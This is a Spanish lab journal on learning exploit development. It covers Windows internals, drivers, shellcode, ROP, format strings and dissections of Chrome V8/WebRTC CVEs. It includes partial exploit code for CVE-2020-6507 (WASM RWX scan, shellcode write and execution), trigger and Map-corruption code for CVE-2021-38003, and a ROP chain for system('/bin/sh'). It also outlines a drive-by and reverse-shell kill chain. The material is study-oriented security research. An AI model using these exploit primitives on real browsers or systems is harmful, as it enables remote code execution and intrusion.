Naturaleza de esta Bitácora
Este documento no es un tutorial lineal. Es una bitácora de laboratorio que recopila notas, diagramas, configuraciones y pruebas ejecutadas durante septiembre de 2024, complementadas con análisis de vulnerabilidades reales y fragmentos de mi proceso de aprendizaje. Refleja el camino de un investigador en formación: temas que se ramifican, conceptos que se retoman desde distintos ángulos, intentos fallidos que obligan a repasar fundamentos, y un laboratorio que crece orgánicamente.
1. Contexto y Motivación
Como investigador de seguridad ofensiva, las capacidades de identificar una vulnerabilidad y desarrollar un exploit funcional son cruciales para diversos propósitos: participación en programas de Bug Bounty, construcción de kits de exploits como PoC dentro de la empresa, y la comprensión profunda de las tácticas de adversarios reales. Este laboratorio nace de la necesidad de sistematizar ese conocimiento.
La ruta que tracé tiene tres fases: fundamentos (buffer overflow, ROP, tipos de corrupción de memoria), profundización (format strings, exploits de estructura de archivos, abuso de allocators dinámicos, concepto de máquinas extrañas) y práctica (desafíos como Guyinatuxedo's Nightmare, CTFs aplicados a escenarios reales y simulaciones de adversarios). Esta bitácora documenta principalmente la primera fase, con incursiones en la segunda.
El desarrollo de exploits comparte mucho del mindset del análisis de malware que ya practico en el triage automatizado de PE con Capstone y en la evasión estática de Mirai en ASM. La diferencia es que aquí no solo leo el código: lo manipulo para que haga lo que yo quiero. En esencia, es el arte de manipular el flujo de ejecución de un programa para que realice acciones no intencionadas por su desarrollador.
2. Windows Internals: Modos, Memoria y Componentes del Kernel
La explotación binaria en Windows exige comprender su arquitectura interna. No basta con conocer el lenguaje ensamblador: hay que entender dónde se ejecuta el código, cómo se gestiona la memoria y qué componentes del sistema operativo intervienen en cada operación.
1.1 Modo Usuario vs Modo Kernel
Windows divide la ejecución en dos modos de acceso al procesador. El modo usuario es donde se ejecutan las aplicaciones: cada proceso tiene su propio espacio de direcciones virtuales privado. El modo kernel comparte un único espacio de direcciones virtuales. Todo el código que se ejecuta aquí —controladores, el núcleo del sistema operativo, la HAL— tiene acceso completo a la memoria del sistema y a todas las instrucciones de la CPU. Un error en modo kernel puede tumbar todo el sistema. El modelo de seguridad de Windows está basado en anillos de protección: los exploits de kernel buscan elevar privilegios de Ring 3 a Ring 0.

1.2 Memoria Virtual y Espacios de Direcciones
Los procesadores utilizan direcciones virtuales que se traducen a direcciones físicas mediante tablas de páginas. Un proceso de 32 bits tiene un espacio de ~2 GB; uno de 64 bits tiene ~128 TB. Esto tiene implicaciones directas en la efectividad del ASLR. Los drivers en modo kernel deben tener cuidado al leer o escribir en direcciones del espacio de usuario, porque la dirección proporcionada pertenece al espacio virtual del proceso que inició la solicitud, que probablemente no sea el proceso actual al momento de completarse la operación.

1.3 Componentes del Kernel
| Componente | Función | Relevancia para Explotación |
|---|---|---|
| Administrador de Objetos | Archivos, dispositivos, sincronización, registro | Manipulación de objetos del kernel para escalada |
| Administrador de Memoria | Memoria física del sistema | Fundamental para ASLR, DEP, page tables |
| Administrador de E/S | Comunicación apps y controladores | IRPs, pilas de dispositivos, IOCTLs |
| Monitor de Referencia de Seguridad | Rutinas para control de acceso | Bypass de controles de acceso |
| HAL | Capa de abstracción de hardware | Acceso directo al hardware en exploits avanzados |

Nota de Laboratorio
Este diagrama es mi referencia constante. Cada vez que analizo un driver vulnerable o construyo una cadena ROP, vuelvo aquí para ubicar en qué capa estoy operando. La explotación de kernel no se improvisa: requiere un mapa mental preciso de esta arquitectura.
3. Drivers en Windows: Tipos, Pilas y Modelos KMDF/UMDF
Los controladores son una superficie de ataque privilegiada. Un driver vulnerable en modo kernel es una puerta directa a Ring 0. En el laboratorio, dediqué varias sesiones a entender cómo se estructuran y cómo procesan solicitudes.
2.1 Tipos de Drivers y Pilas
Existen Filter Drivers (lógica adicional), Function Drivers (comunicación directa con el dispositivo) y Software Drivers (solo acceden a estructuras del kernel). Todos se organizan en pilas. Un concepto fundamental es que los controladores son una colección de callbacks: una vez inicializadas, esperan a que el sistema las invoque cuando ocurre un evento.
En Windows, los dispositivos se representan mediante nodos en el árbol PnP. Cada nodo tiene una pila de dispositivos: una lista ordenada de objetos de dispositivo, cada uno asociado a un controlador. El controlador del bus crea un Physical Device Object (PDO), luego se añaden el Function Driver (FDO) y opcionalmente Filter Drivers (Filter DO).



2.2 Implementación Práctica: Driver KMDF Mínimo
Para entender la estructura de un driver, implementé un driver Hello World KMDF. El punto de entrada es DriverEntry, que inicializa las estructuras del controlador. El sistema invoca EvtDeviceAdd cuando detecta el dispositivo:
#include <ntddk.h>
#include <wdf.h>
DRIVER_INITIALIZE DriverEntry;
EVT_WDF_DRIVER_ADD KmdfHelloWorldEvtDeviceAdd;
NTSTATUS DriverEntry(
_In_ PDRIVER_OBJECT DriverObject,
_In_ PUNICODE_STRING RegistryPath
)
{
NTSTATUS status = STATUS_SUCCESS;
WDF_DRIVER_CONFIG config;
KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL,
"KmdfHelloWorld: DriverEntry\n"));
WDF_DRIVER_CONFIG_INIT(&config, KmdfHelloWorldEvtDeviceAdd);
status = WdfDriverCreate(DriverObject,
RegistryPath,
WDF_NO_OBJECT_ATTRIBUTES,
&config,
WDF_NO_HANDLE);
return status;
}
NTSTATUS KmdfHelloWorldEvtDeviceAdd(
_In_ WDFDRIVER Driver,
_InOut_ PWDFDEVICE_INIT DeviceInit
)
{
UNREFERENCED_PARAMETER(Driver);
NTSTATUS status;
WDFDEVICE hDevice;
KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL,
"KmdfHelloWorld: EvtDeviceAdd\n"));
status = WdfDeviceCreate(&DeviceInit,
WDF_NO_OBJECT_ATTRIBUTES,
&hDevice);
return status;
}
Superficie de Ataque en Drivers
Un driver vulnerable que expone IOCTLs sin validación permite que un atacante en modo usuario envíe solicitudes maliciosas al kernel. El caso de DEVCORE con Kernel Streaming —que analizo más adelante— demuestra que estos bugs pueden existir por décadas. Este patrón es el mismo que encontré en la auditoría de la API financiera: confiar en el origen sin verificar permisos.
4. Formatos de Binarios: PE, ELF, DEX/APK
El exploit development requiere comprender la estructura de los archivos que vamos a atacar. Cada sistema operativo tiene su formato: PE en Windows, ELF en Linux, y DEX dentro de APK en Android.
3.1 PE (Portable Executable) — Windows
El formato PE organiza el ejecutable en encabezados y secciones. El encabezado DOS redirige al punto de entrada. El encabezado NT contiene el entry point real, número de secciones, tamaño de la imagen. La tabla de secciones describe .text (código), .data (datos inicializados), .rdata (solo lectura), .reloc (reubicaciones). Para el exploit development, .reloc es crucial cuando ASLR está activo. La misma metodología de análisis que aplico en el triage de PE con Capstone es el punto de partida.
3.2 ELF (Executable and Linkable Format) — Linux
ELF comparte similitudes con PE pero con mayor flexibilidad. Las secciones clave son .text, .plt (fundamental para ROP), .got (objetivo clásico de sobrescritura), y .dynamic. ELF tiene segmentos además de secciones: el segmento de texto contiene el código, el de datos contiene los datos. Esta distinción es vital para exploits que manipulan el layout de memoria.
3.3 DEX/APK — Android
El APK es un empaquetamiento ZIP que contiene el archivo DEX, el manifiesto, recursos y bibliotecas nativas. El bytecode DEX se ejecuta en la máquina virtual Android (Dalvik/ART). Para el análisis de vulnerabilidades, generalmente trabajamos a nivel de VM. La misma metodología de reversing que usé en el análisis de la VM MC7 de Siemens aplica aquí: entender la máquina virtual, su formato de bytecode y cómo traduce instrucciones. Herramientas como JADX, Apktool, Frida y MobSF cubren el análisis estático y dinámico del ecosistema.
5. Assembly y Arquitecturas: x86, AMD64, ARM64
El Assembly es el lenguaje que usan directamente los procesadores. A diferencia de los programadores, los desarrolladores de exploits trabajamos con código máquina en bruto. Es importante entender lo que la CPU está viendo: registros, convenciones de llamada, segmentación de memoria, y traducción de tipos de alto nivel a bytes sin procesar.
4.1 x86 vs AMD64
- Registros: x86: 32 bits (EAX, EBX, ECX, EDX, ESI, EDI, ESP, EBP). AMD64: 64 bits (RAX, RBX, RCX, RDX, RSI, RDI, RSP, RBP) + R8-R15.
- Convención de llamada: x86: argumentos por pila. AMD64 Windows: RCX, RDX, R8, R9. AMD64 Linux: RDI, RSI, RDX, RCX, R8, R9. Esto cambia drásticamente la construcción de cadenas ROP.
- Espacio de direcciones: ~2 GB en x86, ~128 TB en AMD64. ASLR es mucho más efectivo en 64 bits.
4.2 ARM64 y el Bytecode DEX
ARM64 domina en dispositivos móviles. Basada en RISC, tiene un conjunto de instrucciones más simple que x86. Para la explotación de aplicaciones Android, normalmente trabajamos a nivel de VM analizando bytecode DEX. Las bibliotecas nativas (.so) son la excepción: ahí aplicamos explotación binaria tradicional sobre ARM64.
4.3 .NET y la Relación con el Kernel
Las aplicaciones .NET se compilan a CIL y son ejecutadas por el CLR mediante compilación JIT. El código gestionado interactúa con el nativo a través de P/Invoke y COM, creando puntos de transición entre modos que pueden ser explotados.

6. Shellcode Injection y Técnicas de Evasión
La inyección de shellcode consiste en colocar fragmentos de código en ensamblador en una zona de memoria vulnerable y redirigir el flujo de ejecución hacia ellos. El shellcode no es portátil: cada arquitectura tiene su propio conjunto de instrucciones, endianness y convenciones de llamada.
5.1 Clasificación
- Un solo disparo: se ejecuta una vez y se sobrescribe. Simple pero susceptible a mitigaciones.
- Persistente: se mantiene en memoria tras la ejecución.
- De etapa (staged): un stage 0 pequeño descarga el stage 1, evadiendo restricciones de tamaño y detección.
5.2 Bytes Prohibidos y Gotchas
El byte nulo (0x00) termina cadenas en C, truncando el shellcode si se copia con strcpy. Los filtros de caracteres en aplicaciones web también bloquean ciertos bytes. Los "gotchas" comunes incluyen manejo incorrecto de la pila y olvido de mitigaciones como DEP. La depuración de shellcode es un arte en sí mismo. Referencias indispensables: x64.syscall.sh y Felix Cloutier x86 Reference.
7. Corrupción de Memoria y Mitigaciones
La corrupción de memoria es la puerta de entrada a muchos exploits. Ocurre cuando un programa escribe datos más allá de los límites asignados, sobrescribiendo datos adyacentes.
6.1 Tipos de Corrupción
| Vulnerabilidad | Mecanismo | Impacto Típico |
|---|---|---|
| Buffer Overflow | Escribir más datos de los que el búfer puede contener | Sobrescritura del EIP/RIP → ejecución de código |
| Use-After-Free | Acceder a un bloque de memoria ya liberado | Escritura en memoria liberada → corrupción del heap |
| Double Free | Liberar un bloque de memoria dos veces | Corrupción de estructuras del gestor de memoria |
| Format String | Formato de string controlado por el atacante | Lectura/escritura arbitraria en memoria |
| Race Condition | Acceso concurrente sin sincronización | Corrupción de datos, escalada de privilegios |
6.2 Ejemplo Práctico: Buffer Overflow en el Stack
Durante el laboratorio, reproduje el caso clásico para entender la mecánica. En este ejemplo, name tiene 100 bytes pero read acepta 0x100 (256) bytes:
#include <stdio.h>
#include <unistd.h>
int main() {
int secret = 0xdeadbeef;
char name[100] = {0};
read(0, name, 0x100);
if (secret == 0x1337) {
puts("Wow! Here's a secret.");
} else {
puts("I guess you're not cool enough.");
}
}
Si el compilador ubica secret justo después de name en el stack, al enviar 100 'A's seguidas de \x37\x13\x00\x00 (0x1337 en little-endian), sobrescribimos secret y pasamos la verificación. Si continuamos enviando bytes, podemos sobrescribir el EBP y el EIP guardados, redirigiendo la ejecución a una función como give_shell(). Esta idea se extiende en Return Oriented Programming.
6.3 Mitigaciones
- Stack Canaries: valor aleatorio antes del puntero de retorno. Si cambia, el programa aborta.
- ASLR: aleatoriza direcciones de código y datos. Sin fuga de dirección, no sabemos dónde está nuestro shellcode.
- DEP/NX: marca regiones de memoria como no ejecutables. La pila y el heap no pueden ejecutar código.
- KASLR, SMEP, KPTI, kCFG: mitigaciones específicas del kernel. SMEP impide que el kernel ejecute código de usuario. kCFG valida destinos de saltos indirectos.
La interacción entre estas mitigaciones define la estrategia moderna: necesitamos una fuga de dirección (para ASLR), una cadena ROP (para DEP), y posiblemente un bypass del canary y de kCFG en kernel.
8. ROP, JOP y Técnicas Avanzadas
La Programación Orientada al Retorno (ROP) nace como respuesta a DEP. Si no podemos ejecutar código en la pila, usamos el código que ya existe en el binario. Buscamos "gadgets" —secuencias cortas de instrucciones que terminan en RET— y las encadenamos para formar un flujo de ejecución personalizado.
7.1 Técnicas de la Familia ROP
| Técnica | Mecanismo | Ventaja |
|---|---|---|
| ROP | Encadena gadgets terminados en RET | La más versátil y documentada |
| JOP | Usa instrucciones JMP en lugar de RET | Evade detectores basados en secuencias de RET |
| Ret2libc | Llama directamente a funciones de libc | Simple si libc no tiene ASLR |
| Ret2syscall | Realiza llamadas al sistema directamente | No depende de funciones de biblioteca |
| Ret2plt | Llama a funciones vía PLT | Útil para evadir ASLR parcial |
| Ret2dlresolve | Resuelve símbolos dinámicamente | Efectiva incluso con ASLR completo |
| Function Overriding | Sobrescribe el puntero a una función | Control preciso del flujo de ejecución |
7.2 Construcción de una Cadena ROP en 64 bits
En 64 bits, los argumentos se pasan en registros. Para llamar a system necesitamos controlar RDI. Usamos gadgets como pop rdi; ret encontrados con ROPgadget o ropper. Construimos una pila falsa:
// Layout de la pila falsa para ejecutar system("/bin/sh")
0xffff0028: 0x400d00 // Dirección de system en PLT
0xffff0020: 0x1337beef // Valor basura para R15 (ignorado)
0xffff0018: 0x1337beef // Valor para RSI (ignorado)
0xffff0010: 0x400c03 // Gadget: pop rsi; pop r15; ret
0xffff0008: 0xdeadbeef // Valor para RDI = puntero a "/bin/sh"
RSP → 0xffff0000: 0x400c01 // Gadget: pop rdi; ret
Cuando main retorna, salta a pop rdi; ret. RDI recibe el valor de la pila. Luego retorna a pop rsi; pop r15; ret, que limpia los siguientes valores. Finalmente retorna a system con RDI apuntando a nuestro comando. La práctica con ROP Emporium y pwn.college fue esencial para dominar esta técnica.
7.3 Format String: Fuga de Información desde la Pila
Una vulnerabilidad de format string ocurre cuando la entrada del usuario se pasa como argumento de formato a printf. Con "%x.%x.%x.%x", printf popea valores de la pila. Con "%n$x" podemos indexar a un argumento arbitrario:
#include <stdio.h>
#include <unistd.h>
int main() {
int secret_num = 0x8badf00d;
char name[64] = {0};
read(0, name, 64);
printf("Hello ");
printf(name);
printf("! You'll never get my secret!\n");
return 0;
}
Con %7$llx como entrada, printf leakea secret_num desde la pila: Hello 8badf00d3ea43eef! You'll never get my secret!. Esta técnica es complementaria a ROP porque proporciona la fuga de dirección necesaria para vencer ASLR.
9. Casos Reales: CVEs en Chrome V8 y WebRTC
Para aterrizar los conceptos teóricos en vulnerabilidades reales, analicé varios CVEs explotados en la naturaleza. Estos casos muestran cómo se aplican en la práctica las técnicas de corrupción de memoria, fuga de información y bypass de mitigaciones que estudié en las secciones anteriores.
8.1 CVE-2020-6507 — Chrome V8 RCE (Out of Bounds Write)
Fuente: Packet Storm Security, publicado por Rajvardhan Agarwal (2021). Descripción oficial: out of bounds write en V8 en Chrome anterior a 83.0.4103.106 que permite heap corruption mediante una página HTML manipulada.
El exploit sigue un patrón que se ha vuelto estándar en la explotación de navegadores modernos. Primero, crea una instancia de WebAssembly para obtener una región de memoria con permisos RWX donde residen las funciones compiladas:
// 1. Configuración del entorno WebAssembly
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
// 2. Módulo WebAssembly mínimo que exporta una función
var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108, 0, 0, 10, 4, 1, 2, 0, 11]);
var mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(mod);
var shell = wasm_instance.exports.shell;
// 3. Shellcode: ejecuta /bin/xcalc como PoC
var shellcode = new Uint8Array([72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 99, 104, 111, 46, 114, 105, 1, /* ... */]);
El exploit implementa primitivas de lectura/escritura arbitraria convirtiendo entre representaciones float64 y uint64 (ftoi y itof), corrompe un array para obtener acceso a la memoria del proceso, y escanea regiones predefinidas buscando la página RWX de WebAssembly:
// 4. Búsqueda de regiones RWX en el espacio de memoria de Chrome
var search_space = [
[(0x8040000-8)/8, 0x805b000/8],
[(0x805b000)/8, (0x83c1000/8)-1],
[0x8400000/8, (0x8701000/8)-1],
[0x8740000/8, (0x8ac1000/8)-1],
[0x8b00000/8, (0x9101000/8)-1]
];
// 5. Una vez encontrada la región RWX, escribir shellcode y ejecutar
arb_write(rwx_addr, shellcode);
shell();
Lección Técnica
Este exploit depende de que el sandbox de Chrome esté deshabilitado. La cadena completa —vulnerabilidad + bypass de sandbox— es lo que define el impacto real. En mi intento de replicación (documentado en la Sección 9), este fue precisamente el obstáculo que encontré.
8.2 CVE-2021-38003 — Fuga de TheHole vía JSON.stringify
Fuente: Chromium Bug Tracker, reportado por Clément Lecigne (Google TAG) con asistencia de Samuel Groß (Google Project Zero). Severidad: P0, explotado como 0-day.
Mecanismo: TheHole es un valor interno de V8 (Oddball) usado como centinela. Cuando no hay excepción pendiente, pending_exception_ se establece a the_hole_value(). El bug: en JsonStringifier::SerializeArrayLikeSlow, cuando builder_.HasOverflowed() retorna true, la función devuelve EXCEPTION sin haber establecido una excepción pendiente, causando que TheHole se filtre al script JavaScript.
// Trigger: JSON.stringify con array grande causa overflow sin excepción
function trigger() {
let a = [], b = [];
let s = '"'.repeat(0x800000);
a[20000] = s;
for (let i = 0; i < 10; i++) a[i] = s;
for (let i = 0; i < 10; i++) b[i] = a;
try {
JSON.stringify(b);
} catch (hole) {
return hole; // hole ahora es TheHole value
}
throw new Error('could not trigger');
}
Explotación vía Map: TheHole tiene manejo especial en JSMap. Al usarlo como clave y eliminarlo dos veces, el tamaño del mapa se decrementa dos veces, volviéndose -1:
var map = new Map();
map.set(1, 1);
map.set(hole, 1); // Manejo especial de TheHole
map.delete(hole); // Decrementa size
map.delete(hole); // Double-delete: size = -1
map.delete(1);
// Size es ahora -1, inserciones posteriores causan corrupción OOB
for (let i = 0; i < 100; i++) {
map.set(i, 1); // OOB write en el storage del Map
}
Fix: commit be55c16e50 — verificar si hay una excepción pendiente antes de retornarla. El bug existió ~4 años antes de ser descubierto, afectando todas las versiones recientes de Chrome.
8.3 CVE-2023-7024 — WebRTC Heap Overflow
Fuente: Chromium Bug Tracker, reportado por Clément Lecigne y Vlad Stolyarov (Google TAG). Severidad: P1, explotado como RCE en Android.
Mecanismo: heap buffer overflow en WebRtcAudioSink::DeliverRebufferedAudio. Una condición de carrera o problema lógico resulta en un buffer asignado con tamaño incorrecto en OnSetFormat (basado en parámetros de audio manipulados vía JavaScript). Cuando DeliverRebufferedAudio escribe en este buffer asumiendo un tamaño mayor, ocurre un overflow de heap.
El stack trace de ASAN confirma el crash: heap-buffer-overflow WRITE of size 2 en AudioBus::ToInterleavedPartial → WebRtcAudioSink::DeliverRebufferedAudio. El fix inicial fue detener el sink en configuración inválida (commit 340b7e30), con un fix subyacente para la causa raíz en un bug separado.
8.4 CVE-2023-2033 — JIT Optimisation Issue con TheHole
Fuente: Chromium Bug Tracker, reportado por Clément Lecigne (Google TAG). Severidad: P0, explotado como 0-day.
Mecanismo: Bug de optimización JIT. Durante Reflect.defineProperty(globalThis, 'stack', {...}), el getter de stack llama a Error.prepareStackTrace, que causa side effects e invalida el estado a medio computar del descriptor de propiedad. El código JIT ya compilado con asunciones incorrectas produce una fuga de TheHole. Fix: hacer que Error.captureStackTrace() sea un no-op para el objeto global.
Patrón Común en V8
Tres de los cuatro CVEs analizados (CVE-2021-38003, CVE-2023-2033, y el bug de JSON.stringify) involucran TheHole, el valor centinela interno de V8. La fuga de valores internos del motor JavaScript es un vector recurrente porque estos valores tienen comportamientos especiales que rompen las asunciones del código JIT y de las estructuras de datos del runtime. Entender los internals de V8 —Isolate, Oddball, Maps, propiedades internas— es tan importante como entender Assembly para la explotación de navegadores modernos.
10. Diario de Laboratorio: Intentos Reales y Metodología
Esta sección documenta el camino irregular antes de llegar a las notas estructuradas. Es el registro de intentos fallidos, bloqueos técnicos y ajustes de metodología que me obligaron a repasar fundamentos.
9.1 Intento de Replicación: CVE-2020-6507
En julio de 2024 intenté replicar el exploit de Chrome V8 RCE documentado en la Sección 8.1. El plan era usarlo como base para una cadena de infección completa: acceso inicial por Drive-by (T1189), ejecución vía explotación del cliente (T1203), evasión con ofuscación (T1140), y comunicación C2 mediante protocolo no estándar (T1095).
Tuve problemas con la búsqueda de direcciones de memoria. El exploit crea un arreglo grande, corrompe memoria, busca regiones RWX en espacios predefinidos, y si las encuentra inyecta shellcode. La lógica de escaneo no funcionaba en mi entorno. Después de varios días, descubrí la razón: la vulnerabilidad solo es explotable con el sandbox de Chrome deshabilitado. Esta limitación no estaba documentada claramente. La lección: un exploit funcional en laboratorio y uno viable en un ataque real están separados por las mitigaciones del entorno. Para profundizar en la técnica de búsqueda de regiones RWX, usé ired.team — Finding all RWX Protected Memory Regions.
9.2 Análisis de 7-Zip: Metodología de Reconocimiento
En agosto de 2024, inicié un análisis sistemático de 7-Zip como ejercicio de búsqueda de vulnerabilidades. Usando VirusTotal y Detect It Easy, determiné:
- Compilador: Microsoft Visual C/C++ (19.36.33813)
- Linker: Microsoft Linker (8.00.40310)
- IDE: Visual Studio (2005)
La estrategia de análisis: buscar funciones que manejen grandes datos de entrada y verificar comprobaciones de límite, identificar variables usadas antes de inicializarse, buscar operaciones con punteros sin validación, y considerar que las optimizaciones agresivas del compilador hacen el código más difícil de leer pero más propenso a errores sutiles. Una técnica adicional planeada era compilar con y sin optimizaciones para aislar comportamientos intencionales de artefactos del compilador.
9.3 Tropiezo con Assembly
Durante el análisis, identifiqué deficiencias en lectura de ensamblador. Hice un repaso documentando fragmentos:
_start:
mov rax, rsp ; Guarda el stack pointer en rax
sub rsp, 0xc8 ; Reserva 200 bytes para variables locales
mov qword[rax+0x18], rbx ; Guarda argumentos en la pila
mov qword[rax+0x20], rdi
lea rcx, [rax-0x78] ; Carga dirección de estructura lpStartupInfo
call qword [rel GetStartupInfoA] ; Llama a API de Windows
nop ; Alineación de código
cmp word [rel __dos_header], 0x5a4d ; ¿Es un PE válido? (firma MZ)
je 0x49c13d ; Si coincide, continúa ejecución normal
La instrucción cmp word [rel __dos_header], 0x5a4d busca los bytes 'MZ' que identifican un ejecutable válido de Windows. Es el tipo de detalle que un desarrollador de exploits debe reconocer al instante.
9.4 DEVCORE: Kernel Streaming y Access Mode Mismatch
Durante este período, DEVCORE publicó Streaming vulnerabilities from Windows Kernel, documentando más de diez vulnerabilidades en Kernel Streaming en dos meses. La bug class principal: Access Mode Mismatch en el IO Manager. Cuando un driver usa IoBuildDeviceIoControlRequest sin establecer RequestorMode, se hereda KernelMode. Si el driver que recibe el IRP usa RequestorMode para decidir si hacer chequeos de seguridad, esos chequeos se omiten, permitiendo que un atacante desde modo usuario envíe solicitudes que pasen como si vinieran del kernel. DEVCORE explotó esto en ks.sys con RtlSetAllBits como gadget para bypass de kCFG, logrando escalada a SYSTEM. La vulnerabilidad existió desde Windows 7.
Conexión con el Estudio de Drivers
Las pilas de dispositivos, los IRPs, los IOCTLs y la validación de RequestorMode no son conceptos abstractos: son los mecanismos que DEVCORE explotó. El patrón de "confiar en que el llamante es legítimo" es el mismo error de autorización que documenté en la auditoría de la API financiera.
11. Laboratorio Práctico: VirtualBox + INetSim + fakedns
Como caso de estudio, simulé el rol de un Threat Author usando Kali Linux, REMnux y un Windows 10 vulnerable con CVE-2020-6507.
10.1 Preparación del Entorno
Configuré tres máquinas virtuales en VirtualBox con red Host-Only:
- REMnux (192.168.56.102): INetSim como servidor falso, fakedns para redirección DNS. Dos interfaces: NAT y Host-Only.
- Kali Linux (192.168.56.106): centro de mando del atacante, servidor HTTP para staging de payloads.
- Windows 10 (192.168.56.104): sistema objetivo con Chrome vulnerable. Gateway y DNS apuntan a REMnux.







10.2 Kill Chain del Caso de Estudio
| Táctica | Técnica MITRE | Implementación |
|---|---|---|
| Acceso Inicial | T1189 — Drive-by Compromise | Sitio web falso que explota CVE-2020-6507 |
| Ejecución | T1203 — Exploitation for Client Execution | Shellcode que descarga y ejecuta malware |
| Evasión | T1140 — Deobfuscate/Decode | Payload codificado |
| Evasión | T1564 — Hide Artifacts | Ejecución en memoria, sin archivos en disco |
| Evasión | T1036 — Masquerading | Proceso malicioso se hace pasar por Chrome.exe desde %APPDATA% |
| C2 | T1095 — Non-Application Layer Protocol | Reverse shell TCP hacia Kali Linux |
La técnica de Masquerading (T1036) merece atención especial. En un escenario real, el malware se copiaría a %APPDATA%\Google\Chrome\Application\chrome.exe y se ejecutaría desde allí. Las herramientas EDR detectan esto buscando procesos chrome.exe ejecutándose desde directorios inusuales, firmas de código inválidas, o relaciones de proceso anómalas (ej. chrome.exe hijo de powershell.exe).
12. Conclusión, Estado del Laboratorio y Plan de Retoma
11.1 Lo que se Logró
Este laboratorio de septiembre de 2024 consolidó varios principios fundamentales de exploit development:
- Windows Internals aplicado: La arquitectura de modos, la memoria virtual, los componentes del kernel y las pilas de dispositivos no son teoría. Cada diagrama y cada tabla de esta bitácora representa horas de estudio que se traducen directamente en capacidad de análisis de superficies de ataque.
- Drivers como vector de escalada: La implementación del driver KMDF mínimo y el análisis del caso DEVCORE demuestran comprensión práctica de cómo se estructuran los controladores y dónde residen las vulnerabilidades.
- Formatos de binarios: PE, ELF y DEX/APK fueron analizados desde la perspectiva del atacante: qué secciones importan, dónde se esconde la información útil, cómo se comporta el enlazador dinámico.
- Assembly y shellcode: La capacidad de leer y documentar fragmentos de assembly, entender convenciones de llamada entre arquitecturas, y construir shellcode con consideraciones de bytes prohibidos es una competencia adquirida.
- ROP práctico: La construcción de cadenas ROP en 64 bits, con gadgets pop;ret y manipulación de registros, fue validada con ejercicios de ROP Emporium y pwn.college.
- Análisis de CVEs reales: Cuatro vulnerabilidades 0-day en Chrome V8 y WebRTC fueron diseccionadas, entendiendo el mecanismo de explotación, el parche y las implicaciones de seguridad.
- Laboratorio de simulación: El entorno VirtualBox con INetSim, fakedns y servidores HTTP para staging está configurado y documentado, listo para ser reactivado.
11.2 Estado Actual: Laboratorio Congelado
El laboratorio fue pausado al finalizar septiembre de 2024. Las VMs de VirtualBox permanecen configuradas pero apagadas. El análisis de 7-Zip quedó en fase de reconocimiento (compilador identificado, estrategia trazada, pero sin explotación completada). La replicación de CVE-2020-6507 quedó bloqueada por la dependencia del sandbox de Chrome. El estudio de Kernel Streaming de DEVCORE quedó como referencia técnica sin implementación práctica propia.
El congelamiento no fue por falta de interés, sino por redirección de prioridades hacia proyectos de clientes que requerían atención inmediata. Sin embargo, cada hora invertida en este laboratorio se tradujo en capacidad técnica que apliqué directamente en servicios profesionales: la metodología de reversing de formatos propietarios, el análisis de mecanismos de autorización en APIs, y la comprensión de mitigaciones a nivel de sistema operativo.
11.3 Plan de Retoma
Cuando decida retomar el laboratorio, estas son las tareas que tengo pendiente a cualquiera que decida replicar esta metologia le puede servir de guia:
| # | Tarea | Prioridad | Dependencias | Resultado Esperado |
|---|---|---|---|---|
| 1 | Completar desafíos pendientes de pwn.college (Debugging, Reverse Engineering, Memory Errors, Program Exploitation, Kernel Security) | Alta | VM con Linux, acceso a pwn.college | Dominio práctico de explotación binaria en Linux |
| 2 | Montar laboratorio de fuzzing con AFL++ sobre objetivos userland (parsers de imágenes, codecs, librerías de compresión) | Alta | VM Linux, AFL++ instalado, binarios objetivo compilados con ASAN | Capacidad de encontrar crashes reproducibles y hacer triage |
| 3 | Implementar exploit para CVE-2020-6507 encadenado con técnica de evasión de sandbox (investigar sandbox escapes públicos para versiones de Chrome <83) | Media | VM Windows 10 con Chrome vulnerable, laboratorio VirtualBox | Cadena de explotación completa: RCE + sandbox escape |
| 4 | Retomar análisis de 7-Zip: completar el reversing de funciones que manejan entrada de archivos comprimidos, identificar posibles vectores de corrupción | Media | Ghidra, IDA Free, VM Windows | Reporte de superficie de ataque o PoC de vulnerabilidad |
| 5 | Practicar heap exploitation: Use-After-Free, Double Free, House of Force, tcache poisoning usando los recursos de how2heap | Alta | VM Linux con glibc debug symbols | Capacidad de desarrollar exploits para vulnerabilidades de heap |
| 6 | Estudiar e implementar bypass de kCFG (Kernel Control Flow Guard) usando técnicas documentadas por DEVCORE y otros investigadores | Media | VM Windows 10/11, WinDbg, driver vulnerable de prueba | PoC de escalada de privilegios en Windows con kCFG bypass |
| 7 | Explorar fuzzing de drivers Windows con syzkaller o herramientas similares | Baja | VM Windows con debugging kernel habilitado | Capacidad de encontrar vulnerabilidades en drivers reales |
| 8 | Documentar metodología de análisis de APIs para detección de IDOR, JWT reuse y Broken Object Level Authorization, aplicando lecciones del pentest financiero | Media | Postman, Burp Suite, entorno de pruebas | Guía metodológica reutilizable para auditorías |
| 9 | Estudiar explotación de microarquitectura: ejecución especulativa (Spectre, Meltdown) y vulnerabilidades de canal lateral | Baja | Material de pwn.college CSE598, CPU vulnerable | Comprensión de vectores de ataque a nivel de silicio |
| 10 | Automatizar generación de exploits con scripts en Python: integración con Ghidra (headless), extracción automática de gadgets ROP, generación de payloads | Media | Ghidra, Python, pwntools | Toolkit reutilizable para acelerar el ciclo de exploit development |
11.4 Conclusión
Este laboratorio no es un producto terminado. Es una instantánea de un proceso en curso. La decisión de congelarlo fue pragmática: los clientes pagan las facturas, y el laboratorio —por más valioso que sea a largo plazo— no genera ingresos inmediatos. Pero cada servicio profesional que entregué después de septiembre de 2024 llevaba incrustado el conocimiento adquirido aquí.
Cuando un cliente pregunta si sé hacer reversing de un formato propietario, la respuesta viene de haber diseccionado PE, ELF y DEX. Cuando necesito explicar por qué una API es vulnerable a IDOR, la explicación se apoya en el mismo patrón de "validación de origen sin verificación de permisos" que estudié en los drivers de Windows y en los CVEs de Chrome. Cuando escribo shellcode para una PoC, cada byte prohibido que evito y cada consideración de endianness que aplico viene de las horas de práctica documentadas en esta bitácora.
